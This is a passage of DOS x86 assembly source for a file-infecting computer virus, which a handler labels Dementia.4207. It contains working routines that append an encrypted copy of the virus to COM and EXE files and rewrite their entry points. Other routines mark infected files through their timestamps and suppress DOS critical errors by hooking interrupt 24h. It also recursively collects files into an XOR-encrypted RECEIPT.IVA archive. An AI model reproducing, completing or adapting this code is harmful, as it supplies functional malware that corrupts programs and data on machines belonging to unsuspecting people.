int 21h
pop ds ; Load DS from stack

mov ax,es ; AX = segment of pathname


add ax,04h ; AX = segment of end of pathname
mov es,ax ; ES = " " " " "

xor di,di ; Zero DI


mov al,'\' ; AL = backslash
stosb ; Store backslash
xor al,al ; AL = zero
stosb ; Store zero

push es ; Save ES at stack


mov ah,2fh ; Get disk transfer area address
int 21h
mov [bp-26h],es ; Store segment of disk transfer a...
mov [bp-28h],bx ; Store offset of disk transfer ar...
pop es ; Load ES from stack

push ds ; Save DS at stack


mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area

xor dx,dx ; Zero DX


mov ah,1ah ; Set disk transfer area address
int 21h

lea dx,receipt_iva ; DX = offset of receipt_iva


nop
call create_file
mov bx,ax ; BX = file handle of RECEIPT.IVA
mov [bp-14h],ax ; Store file handle of RECEIPT.IVA
pop ds ; Load DS from stack

pop ax ; Load AX from stack


mov dx,01h ; Don't store backslash
call create_recei

mov bx,[bp-14h] ; BX = file handle of RECEIPT.IVA


call set_pos_sof

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
mov es,ax ; ES = " " " " "
encrypt_rece:
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je set_dta_addr ; Equal? Jump to set_dta_addr

push ax ; Save AX at stack


xor dx,dx ; Zero DX
sub dx,ax ; DX = -number of bytes actually read
mov cx,-01h
call set_pos_cfp

pop ax ; Load AX from stack


push ax ; Save AX at stack

mov cx,ax ; CX = number of bytes actually read


xor si,si ; Zero SI
xor di,di ; Zero DI
encrypt_ipt_:
lodsb ; AL = byte of RECEIPT.IVA
xor al,0ffh ; Encrypt byte of RECEIPT.IVA
stosb ; Store encrypted byte of RECEIPT.IVA
loop encrypt_ipt_

pop ax ; Load AX from stack


mov cx,ax ; CX = number of bytes actually read
call write_file

jmp encrypt_rece
set_dta_addr:
call close_file

mov ds,[bp-26h] ; DS = segment of disk transfer area


mov dx,[bp-28h] ; DX = offset of disk transfer area
mov ah,1ah ; Set disk transfer area address
int 21h

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h+40h
mov ds,ax ; DS = segment of data buffer

xor dx,dx ; Zero DX


mov ah,3bh ; Set current directory
int 21h

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

push cs ; Save CS at stack


pop es ; Load ES from stack (CS)

lea si,receipt_iva ; SI = offset of receipt_iva


nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move RECEIPT.IVA to filename

jmp open_filenam
call_mark_:
mov bx,[bp-08h] ; BX = file handle of ZIP file
call infect_mark

mov bx,[bp-08h] ; BX = file handle of ZIP file


call close_file

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!


call close_file

lea dx,temp_file ; DX = offset of temp_file


nop
call delete_file
inf_zip_exit:
call int24_load

pop es ds di si dx cx bx ax

mov sp,bp ; SP = stack pointer


pop bp ; Load BP from stack

ret ; Return!
endp

infect_com proc near ; Infect COM file


push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer

mov ah,00h ; COM executable


nop
nop
mov cs:[com_or_exe],ah ; Store COM executable

mov ax,ds:[00h] ; AX = word of original code of CO...


mov word ptr cs:[origin_code],ax
mov al,ds:[02h] ; AL = byte of original code of CO...
mov cs:[origin_code+02h],al

call encrypt_copy

call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize

push ax ; Save AX at stack


mov ax,cs:[tst_filesize]
cmp ax,01h ; Don't test filesize?
pop ax ; Load AX from stack
je calc_buf_seg ; Equal? Jump to calc_buf_seg

cmp dx,00h ; Filesize too large?


jne inf_com_exit ; Not equal? Jump to inf_com_exit
cmp ax,1000h ; Filesize too small?
jb inf_com_exit ; Below? Jump to inf_com_exit
calc_buf_seg:
add ax,(code_end-code_begin)
jb inf_com_exit ; Filesize too large? Jump to inf_...

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov cx,10h ; CX = number of bytes to add to f...


mov ax,[bp-04h] ; AX = filesize
and ax,0000000000001111b
sub cx,ax ; CX = number of bytes to add to f...

mov ax,[bp-04h] ; AX = filesize


add ax,cx ; AX = offset of virus within file
mov [bp-04h],ax ; Store offset of virus within file

call write_file_

mov cx,(code_end-code_begin)
call write_file

mov al,0e9h ; JMP imm16 (opcode 0e9h)


mov ds:[00h],al ; Store JMP imm16

mov ax,[bp-04h] ; AX = filesize


sub ax,03h ; Subtract size of opcode JMP imm16
mov ds:[01h],ax ; Store 16-bit immediate

call set_pos_sof

mov cx,03h ; Write three bytes


call write_file
inf_com_exit:
mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

infect_exe proc near ; Infect EXE file


push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer

mov ah,01h ; EXE executable


nop
nop
mov cs:[com_or_exe],ah ; Store EXE executable

call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize

and ax,0000000000001111b
mov cx,10h ; CX = number of bytes to add to f...
sub cx,ax ; CX = " " " " " " "

mov ax,[bp-04h] ; AX = low-order word of filesize


mov dx,[bp-02h] ; DX = high-order word of filesize
add ax,cx ; Add number of bytes to add to fi...
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...

call write_file_

push bx ; Save BX at stack


mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...

mov bx,ds:[08h] ; BX = header size in paragraphs


mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
sub dx,bx ; Subtract header size in sixty fi...

mov bx,ds:[08h] ; BX = header size in paragraphs


mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
sub ax,bx ; Subtract header size from filesize
sbb dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack

mov ax,ds:[14h] ; AX = original instruction pointer


mov cs:[instruct_ptr],ax
mov ax,ds:[16h] ; AX = original code segment
mov cs:[code_seg],ax ; Store original code segment
xor ax,ax ; Zero AX
mov ds:[14h],ax ; Store initial IP
mov cs:[initial_ip],ax ; Store " "

mov ax,[bp-02h] ; AX = high-order word of pointer ...


test ax,1111111111110000b
jz calc_ins_ptr ; Zero? Jump to calc_ins_ptr

jmp inf_exe_exit
calc_ins_ptr:
mov cl,0ch
shl ax,cl ; Multiply by sixty-five thousand ...

mov dx,[bp-04h] ; DX = low-order word of pointer t...


mov cl,04h ; Divide by paragraphs
shr dx,cl ; DX = low-order word of pointer t...
add ax,dx ; AX = initial CS relative to star...
mov ds:[16h],ax ; Store initial CS relative to sta...
mov cs:[initial_cs],ax ; " " " " " "

push ax ; Save AX at stack


mov ax,ds:[0eh] ; AX = initial SS relative to star...
mov cs:[stack_seg],ax ; Store initial SS relative to sta...
mov ax,ds:[10h] ; AX = initial SP
mov cs:[stack_ptr],ax ; Store initial SP
pop ax ; Load AX from stack

add ax,(code_end-code_begin+0fh)/10h
jae store_stack ; Above or equal? Jump to store_stack

jmp inf_exe_exit
store_stack:
mov ds:[0eh],ax ; Store initial SS relative to sta...
mov ax,100h ; AX = initial SP
mov ds:[10h],ax ; Store initial SP

push bx ; Save BX at stack


mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...

mov bx,ds:[08h] ; BX = header size in paragraphs


mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
add dx,bx ; Add header size in sixty-five th...

mov bx,ds:[08h] ; BX = header size in paragraphs


mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
add ax,bx ; Add header size to filesize
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack

mov ax,[bp-04h] ; AX = low-order word of pointer t...


mov dx,[bp-02h] ; DX = high-order word of pointer ...
add ax,(code_end-code_begin)
adc dx,00h ; Convet to 32-bit

mov cl,07h
shl dx,cl ; Multiply by one hundred and twen...
push ax ; Save AX at stack
mov cl,09h ; Divide by pages
shr ax,cl ; AX = low-order word of pointer t...
add dx,ax ; DX = number of bytes on last 512...
pop ax ; Load AX from stack

and ax,0000000000011111b
jz store_pages ; Zero? Jump to store_pages

inc dx ; Increase number of bytes on last...

jmp store_pages_
store_pages:
mov ax,200h ; AX = total number of 512-bytes p...
store_pages_:
mov ds:[02h],ax ; Store total number of 512-bytes ...
mov ds:[04h],dx ; Store number of bytes on last 51...

mov ax,ds:[0ch] ; AX = maximum paragraphs to alloc...


cmp ax,10h ; Maximum paragraphs to allocate ...?
jae store_maximu ; Above or equal? Jump to store_ma...

mov ax,10h ; AX = new maximum paragraphs to a...


store_maximu:
mov ds:[0ch],ax ; Store maximum paragraphs to allo...

call set_pos_sof

mov cx,20h ; Write thirty-two bytes


call write_file

call set_pos_eof

call encrypt_copy

mov cx,(code_end-code_begin)
call write_file
inf_exe_exit:
mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

encrypt_copy proc near ; Move virus to data buffer and en...


push bx ; Save BX at stack

mov ah,2ch ; Get system time


int 21h
mov bx,cx ; BX = hour and minute
xor bx,dx ; BX = 16-bit random number

mov ah,2ah ; Get system date


int 21h
xor bx,cx ; BX = 16-bit random number
xor bx,dx ; BX = decryption key
mov dx,bx ; DX = " "

mov cs:[decrypt_key],dx ; Store decryption key

pop bx ; Load BX from stack


cld ; Clear direction flag
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov es,ax ; ES = segment of data buffer

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

xor si,si ; Zero SI


xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to data buffer

push es ; Save ES at stack


pop ds ; Load DS from stack (ES)

lea si,crypt_begin-02h ; SI = offset of crypt_end


mov di,si ; DI = " " "
mov cx,(crypt_begin-crypt_end-02h)/02h

std ; Set direction flag


encrypt_loop:
lodsw ; AX = word of plain code
xor ax,dx ; Encrypt word
stosw ; Store encrypted word

loop encrypt_loop

cld ; Clear direction flag

ret ; Return!
endp

int24_store proc near ; Get and set interrupt vector 24h


push bx dx ds es ; Save registers at stack

mov ax,3524h ; Get interrupt vector 24h


int 21h
mov word ptr cs:[int24_addr],bx
mov word ptr cs:[int24_addr+02h],es

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

lea dx,int24_virus+110h ; DX = offset of int24_virus + 110h


mov ax,2524h ; Set interrupt vector 24h
int 21h

pop es ds dx bx ; Load registers from stack

ret ; Return!
endp

int24_load proc near ; Set interrupt vector 24h


push dx ds ; Load registers from stack

mov dx,word ptr cs:[int24_addr]


mov ds,word ptr cs:[int24_addr+02h]
mov ax,2524h ; Set interrupt vector 24h
int 21h

pop ds dx ; Load registers from stack


ret ; Return!
endp

int24_virus proc near ; Interrupt 24h of Dementia.4207


mov al,03h ; Fail system call in progress

iret ; Interrupt return!


endp

calc_crc32 proc near ; Calculate CRC-32 checksum


mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

add ax,40h ; AX = segment of CRC-32 table


mov es,ax ; ES = " " " "

xor di,di ; Zero DI


xor cx,cx ; Zero CX
gen_crc_tab:
xor dx,dx ; Zero DX
xor ax,ax ; Zero AX

mov al,cl ; AL = counter


push cx ; Save CX at stack
mov cx,08h ; Calculate each CRC-32 table entr...
gen_crc_loop:
clc ; Clear carry flag
rcr dx,01h ; Rotate DX through carry one bit ...
rcr ax,01h ; Rotate AX through carry one bit ...
jnc carry_loop ; No carry? Jump to carry_loop

xor dx,0edb8h ; DX = high-order word of CRC-32 t...


xor ax,8320h ; AX = low-order word of CRC-32 ta...
carry_loop:
loop gen_crc_loop

mov es:[di],ax ; Store low-order word of CRC-32 t...


mov es:[di+02h],dx ; Store high-order word of CRC-32 ...

add di,04h ; DI = offset of next CRC-32 table...

pop cx ; Load CX from stack


inc cx ; Increase count register
cmp cx,100h ; Generated enough CRC-32 table en...
jne gen_crc_tab ; Not equal? Jump to gen_crc_tab

call set_pos_sof

mov dx,0ffffh ; DX = high-order word of CRC-32 c...


mov ax,0ffffh ; AX = low-order word of CRC-32 ch...
read_block:
push ax dx ; Save registers at stack
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je calc_crc_xit ; Equal? Jump to calc_crc_xit

mov cx,ax ; CX = number of bytes actually read

pop dx ax ; Load registers from stack

xor si,si ; Zero SI


cal_crc_loop:
push bx cx ; Save registers at stack
xor bh,bh ; Zero BH
mov bl,[si] ; BL = byte of file
inc si ; Increase index register

xor bl,al ; Exclusive OR (XOR) byte of file ...


mov cl,02h
shl bx,cl ; Multiply by four
mov di,bx ; DI = offset of next CRC-32 table...

mov al,ah ; AL = low-order byte of low-order...


mov ah,dl ; AH = high-order byte of low-orde...
mov dl,dh ; DL = low-order byte of high-orde...
xor dh,dh ; Zero DH

mov bx,es:[di] ; BX = low-order word of CRC-32 ta...


xor ax,bx ; AX = low-order word of CRC-32 ch...
mov bx,es:[di+02h] ; BX = high-order word of CRC-32 t...
xor dx,bx ; DX = high-order word of CRC-32 c...

pop cx bx ; Load registers from stack

loop cal_crc_loop

jmp read_block
calc_crc_xit:
pop dx ax ; Load registers from stack

xor dx,0ffffh ; DX = high-order word of CRC-32 c...


xor ax,0ffffh ; AX = low-order word of CRC-32 ch...

ret ; Return!
endp

create_recei proc near ; Create RECEIPT.IVA file


push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,12h ; Correct stack pointer

mov [bp-08h],ax ; Store number of file specifications


mov [bp-10h],bx ; Store file handle of RECEIPT.IVA
mov [bp-02h],dx ; Store store or don't store backs...
mov [bp-06h],ds ; Store segment of file specificat...

mov ah,3bh ; Set current directory

push es ; Save ES at stack


pop ds ; Load DS from stack (ES)

xor dx,dx ; Zero DX


int 21h

mov ax,[bp-08h] ; AX = number of file specifications


xor cx,cx ; Zero CX
mov cl,al ; CL = number of file specifications
xor dx,dx ; Zero DX
find_first_:
mov ds,[bp-06h] ; DS = segment of file specification
push cx ; Save CX at stack
mov cx,0000000000000111b
call find_first
push dx ; Save DX at stack
jnc find_next_ ; No error? Jump to find_next_

jmp fnd_nxt_loop
find_next_:
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area

mov dx,1eh ; DX = offset of filename


call open_file
mov [bp-12h],ax ; Store file handle of file within...

mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA


call set_pos_eof

push ds ; Save DS at stack


mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+44h
mov ds,ax ; DS = segment of end of pathname

mov cx,40h ; Write sixty-four bytes


mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file
pop ds ; Load DS from stack

mov cx,0eh ; Write fourteen bytes


mov dx,1eh ; DX = offset of filename
call write_file_

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h+4ch
mov ds,ax ; DS = segment of data buffer

mov bx,[bp-12h] ; BX = file handle of file within ...


call set_pos_eof
mov ds:[00h],ax ; Store low-order word of filesize
mov ds:[02h],dx ; Store high-order word of filesize

mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA


mov cx,04h ; Write four bytes
call write_file

mov bx,[bp-12h] ; BX = file handle of file within ...


call set_pos_sof
copy_file:
mov bx,[bp-12h] ; BX = file handle of file within ...
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je call_fnd_nxt ; Equal? Jump to call_fnd_nxt

mov cx,ax ; CX = number of bytes actually read


mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file

jmp copy_file
call_fnd_nxt:
mov bx,[bp-12h] ; BX = file handle of file within ...
call close_file

call find_next
jc fnd_nxt_loop ; Error? Jump to fnd_nxt_loop
jmp find_next_
fnd_nxt_loop:
pop dx cx ; Load registers from stack

add dx,0eh ; DX = offset of next file specifi...

dec cx ; Decrease count register


cmp cx,00h ; No more files?
je copy_name ; Equal? Jump to copy_name

jmp find_first_
copy_name:
xor cx,cx ; Zero CX
find_first__:
push cx ; Save CX at stack
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,file_specifi ; DX = offset of file_specifi


nop
mov cx,0000000000010111b
call find_first
jc receip_exit ; Error? Jump to receip_exit

pop cx ; Load CX from stack


push cx ; Save CX at stack

jmp test_count
found_dir:
push cx ; Save CX at stack

mov cx,01h ; Don't examine disk transfer area


test_count:
cmp cx,00h ; Examine disk transfer area?
je examine_dta ; Equal? Jump to examine_dta

call find_next
jc receipt_exit ; Error? Jump to receipt_exit

dec cx ; Decrease CX

jmp test_count
examine_dta:
pop cx ; Load CX from stack
inc cx ; Increase count register

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h+44h
mov es,ax ; ES = segment of end of pathname
add ax,04h ; AX = segment of disk transfer area
mov ds,ax ; DS = " " " " "

mov si,15h ; SI = offset of attribute of file...


lodsb ; AL = attribute of file found
test al,00010000b ; Directory?
je found_dir ; Equal? Jump to found_dir

mov si,1eh ; SI = offset of filename


lodsb ; AL = byte of filename
cmp al,'.' ; Directory?
je found_dir ; Equal? Jump to found_dir

mov ax,[bp-02h] ; AX = store or don't store backslash


mov di,ax ; DI = offset of end of pathname
mov si,1eh ; SI = offset of filename
cmp al,01h ; Don't store backslash?
je copy_name_ ; Equal? Jump to copy_name_

mov al,'\' ; AL = backslash


stosb ; Store backslash
copy_name_:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je store_zero ; Equal? Jump to store_zero

stosb ; Store byte of filename

jmp copy_name_
store_zero:
mov dx,di ; DX = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero

mov ax,[bp-08h] ; AX = number of file specifications


mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
mov ds,[bp-06h] ; DS = segment of file specifictions
push cx ; Save CX at stack
call create_recei
pop cx ; Load CX from stack

mov ah,3bh ; Set current directory

push es ; Save ES at stack


pop ds ; Load DS from stack (ES)

xor dx,dx ; Zero DX

mov di,[bp-02h] ; DI = offset of end of pathname


xor al,al ; AL = zero
stosb ; Store zero

int 21h

jmp find_first__
receipt_exit:
pop cx ; Load CX from stack
receip_exit:
mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

open_file proc near ; Open file


mov ax,3dffh ; Open file
xor cx,cx ; CL = attribute mask of files to ...
int 21h
mov bx,ax ; BX = file handle

ret ; Return!
endp

close_file proc near ; Close file


mov ah,3eh ; Close file
int 21h
ret ; Return!
endp

find_first proc near ; Find first matching file


mov ax,4e00h ; Find first matching file
int 21h

ret ; Return!
endp

find_next proc near ; Find next matching file


mov ah,4fh ; Find next matching file
int 21h

ret ; Return!
endp

load_info proc near ; Get file's date and time


mov ax,5700h ; Get file's date and time
int 21h
mov [bp-04h],cx ; Store file time
mov [bp-02h],dx ; Store file date

ret ; Return!
endp

infect_mark proc near ; Infection mark


mov ax,5701h ; Set file's date and time
mov cx,[bp-04h] ; CX = file time
mov dx,[bp-02h] ; DX = file date
and cx,1111111111100000b
or cx,0000000000000001b
int 21h

ret ; Return!
endp

read_file proc near ; Read from file


xor dx,dx ; Zero DX

read_file_ proc near ; Read from file


mov ah,3fh ; Read from file
int 21h

ret ; Return!
endp
endp

create_file proc near ; Create file


mov ah,3ch ; Create file

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

xor cx,cx ; CX = file attributes


int 21h

ret ; Return!
endp

write_file proc near ; Write to file


xor dx,dx ; Zero DX
write_file_ proc near ; Write to file
mov ah,40h ; Write to file
int 21h

ret ; Return!
endp
endp

set_pos_cfp proc near ; Set current file position (CFP)


mov ax,4201h ; Set current file position (CFP)
int 21h

ret ; Return!
endp

set_pos_eof proc near ; Set current file position (EOF)


mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
cwd ; Zero DX
int 21h

ret ; Return!
endp

set_pos_sof proc near ; Set current file position (SOF)


xor cx,cx ; Zero CX
xor dx,dx ; Zero DX

set_pos_sof_ proc near ; Set current file position (SOF)


mov ax,4200h ; Set current file position (SOF)
int 21h

ret ; Return!
endp
endp

delete_file proc near ; Delete file


push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov ah,41h ; Delete file


xor cx,cx ; CL = attribute mask for deletion
int 21h

ret ; Return!
endp
file_begin:
mov ax,0b800h ; AX = segment of text video RAM
mov es,ax ; ES = " " " " "

xor di,di ; Zero DI


mov cx,7d0h ; Store four thousand bytes
mov ax,720h ; Black background color, light-gr...
rep stosw ; Overwrite text video RAM

xor di,di ; Zero DI


mov si,(gfx_begin-file_begin+100h)
mov cx,(gfx_end-gfx_begin)

nop
load_gfx:
lodsb ; AL = byte of gfx_begin
cmp al,0ffh ; Write a string?
jne store_gfx ; Not equal? Jump to store_gfx

lodsb ; AL = byte of gfx_begin


dec cx ; Derease count register
cmp al,0ffh ; Write a single character?
je store_gfx ; Equal? Jump to store_gfx

push cx si ds ; Save registers at stack


xor cx,cx ; Zero CX
mov cl,al ; CL = size of string
lodsb ; AL = byte of gfx_begin
mov bl,al ; BL = low-order byte of offset of...
lodsb ; AL = byte of gfx_begin
mov bh,al ; BH = high-order byte of offset o...
mov si,bx ; SI = offset of string within gfx...

push es ; Save ES at stack


pop ds ; Load DS from stack (ES)

rep movsb ; Move string to text video RAM


pop ds si cx ; Load registers at stack

add si,02h ; Add two to index register

sub cx,02h ; Subtract two from count register

jmp dont_sto_gfx

nop
store_gfx:
stosb ; Store a byte of gfx_begin
dont_sto_gfx:
loop load_gfx

int 20h

gfx_begin db 20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh
db 00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch
db 00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h
db 0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h
db 08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h
db 0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh
db 0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h
db 82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h
db 0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h
db 0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h
db 0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h
db 0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h
db 04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh
db 0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h
db 3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h
db 0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h
db 01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h
db 0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh
db 09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh
db 05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h
db 37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh
db 03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h
db 0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh
db 12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h
db 42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh
db 08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h
db 05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h
db 0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h
db 0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch
db 07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h
db 0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh
db 05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h
db 0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h
db 01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h
db 0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h
db 0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h
db 0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h
db 0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh
db 0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h
db 50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,0ffh,04h,44h
db 05h,0ffh,04h,2eh,06h,0ffh,04h,0f0h,05h,0dbh,01h,0dbh,01h
db 0ffh,07h,7eh,00h,0ffh,07h,87h,06h,0ffh,05h,98h,04h,0ffh
db 05h,0b9h,04h,0ffh,0eh,5ch,05h,0ffh,04h,4ah,04h,0ffh,0ah
db 0c8h,04h,0dbh,0ffh,05h,23h,06h,0ffh,04h,0dch,05h,0ffh,06h
db 2ch,06h,0ffh,06h,0fah,05h,0ffh,06h,5ch,05h,0ffh,04h,42h
db 03h,0ffh,16h,0aeh,01h,0ffh,0ah,50h,06h,0ffh,04h,2eh,06h
db 0ffh,0ch,62h,06h,0ffh,0dh,0d4h,03,0ffh,09h,33h,03h,0ffh
db 0ah,0e6h,04h,0ffh,0eh,0b6h,01h,0ffh,14h,0ah,07h,0ffh,0eh
db 20h,07h,0ffh,07h,36h,03h,0ffh,0bh,5dh,07h,0ffh,0eh,0eh
db 07h,0ffh,18h,0ach,01h,0deh,0ffh,05h,85h,06h,0ffh,06h,0dch
db 05h,0ffh,04h,24h,06h,0ffh,20h,0a6h,03h,0ffh,73h,52h,01h
db 0ffh,04h,0bbh,06h,01h,0dbh,01h,0ffh,1ch,0a2h,07h,28h,09h
db 35h,01h,31h,01h,32h,01h,29h,09h,50h,01h,52h,01h,49h,01h
db 2dh,09h,56h,01h,41h,01h,54h,01h,45h,0ffh,05h,87h,06h,0fah
db 0fh,0ffh,04h,00h,00h,30h,09h,20h,07h,64h,01h,61h,01h,79h
db 01h,20h,07h,77h,01h,61h,01h,72h,01h,65h,01h,73h,0ffh,0bh
db 73h,08h,56h,01h,2dh,01h,58h,0ffh,07h,87h,06h,0ffh,29h
db 0d2h,02h,01h,0dch,0ffh,05h,39h,08h,0dfh,0ffh,23h,0a3h,08h
db 38h,09h,30h,09h,0ffh,04h,7eh,08h,6dh,01h,65h,01h,67h,0ffh
db 05h,91h,08h,6fh,01h,6eh,01h,6ch,01h,69h,01h,6eh,01h,65h
db 0ffh,0bh,73h,08h,55h,01h,53h,01h,52h,01h,20h,07h,44h,01h
db 75h,01h,61h,01h,6ch,01h,20h,07h,31h,09h,36h,09h,2eh,01h
db 38h,09h,6bh,0ffh,29h,0a3h,08h,0ffh,04h,0d2h,08h,0ffh,04h
db 0d4h,08h,0dfh,0ffh,05h,3dh,08h,0ffh,8eh,0a4h,07h,0ffh,22h
db 70h,07h,0ffh,40h,00h,00h,2dh,07h,5ch,0fh,2dh,07h,20h,07h
db 50h,0fh,73h,0bh,79h,03h,63h,03h,68h,09h,6fh,01h,74h,0fh
db 65h,0bh,0ffh,04h,76h,0ah,20h,07h,3ch,08h,49h,0fh,6dh,0bh
db 61h,03h,67h,09h,65h,01h,3eh,08h,0ffh,04h,66h,0ah,2fh,0ffh
db 05h,6bh,0ah,20h,07h
gfx_end:
file_end:
temp_file db '!#TEMP#!',00h ; Temporary file
request_iva db 'REQUEST.IVA',00h ; REQUEST.IVA
filename db 0dh dup(?) ; Filename
receipt_iva db 'RECEIPT.IVA ',00h ; RECEIPT.IVA
callfast_com db 'CALLFAST.COM',00h ; CALLFAST.COM
file_specifi db '*.*',00h ; File specification
origin_code db 0cdh,21h,? ; Original code of infected COM file
int21_addr dd ? ; Address of interrupt 21h
int24_addr dd ? ; Address of interrupt 24h
com_or_exe db 00h ; COM or EXE executable
stack_ptr dw ? ; Original stack pointer
stack_seg dw ? ; Original stack segment
